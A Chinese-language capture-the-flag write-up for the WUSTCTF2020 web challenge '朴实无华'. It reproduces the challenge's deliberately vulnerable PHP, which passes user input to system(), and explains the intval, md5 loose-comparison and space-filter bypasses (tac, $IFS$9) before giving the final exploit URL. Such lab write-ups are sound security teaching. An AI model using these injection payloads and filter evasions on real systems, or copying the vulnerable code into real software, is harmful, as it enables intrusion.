[WUSTCTF2020]朴实无华


题目:

image.png
题目一打开显示乱码,我们用火狐浏览器调整一下编码就OK,但是不知道为什么qq浏览器调整之后还是不行
image.png
image.png
火狐浏览器->三道杠->更多->文字编码->Unicode就可以了

痛苦才刚刚开始

1.看到bot字眼,第一眼想到buu的bot机器人,然后就想到robots.txt网站的爬虫规则,访问一下,果然有料
image.png
2.访问一下fAke_f1agggg.php,我就知道不会这么简单
image.png
3.对页面抓包看一下,F12看也一样,有料,看到了Look_at_me: /fl4g.php
image.png
4.大眼一看三层绕过,还让我去非洲???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

5.intval函数绕过

1
2
3
4
5
6
7
8
9
10
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

GET接收num传参,num要小于2020,加1之后要大于2021,否则要么die,要么还是die
随后查询intval()函数的使用方式,发现如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型
image.png
这样一来就可以bypass
image.png
6.MD5弱类型

1
2
3
4
5
6
7
8
9
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

意思就是找到一串数字使它md5加密前后数值相等,显而易见的md5如类型
产生条件我们都知道,是因为php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较
这种数字百度就可以搜到,0e215962017
成功突破第二关
image.png
7.get flag

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

意思就是:get_flag用于接收参数,作为系统命令执行,传参不能有空格,如果有cat,将会被替换为wctf2020
先传一个ls看一看,目标出现了
image.png
虽然过滤了cat命令,但是我们可以使用tac命令,用法就是将按行倒着显示,最后一行显示在最上面
绕过空格,我们可以使用$IFS$9
留存一下绕过小技巧的文章https://www.freebuf.com/articles/web/137923.html
所以最终payload

1
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image.png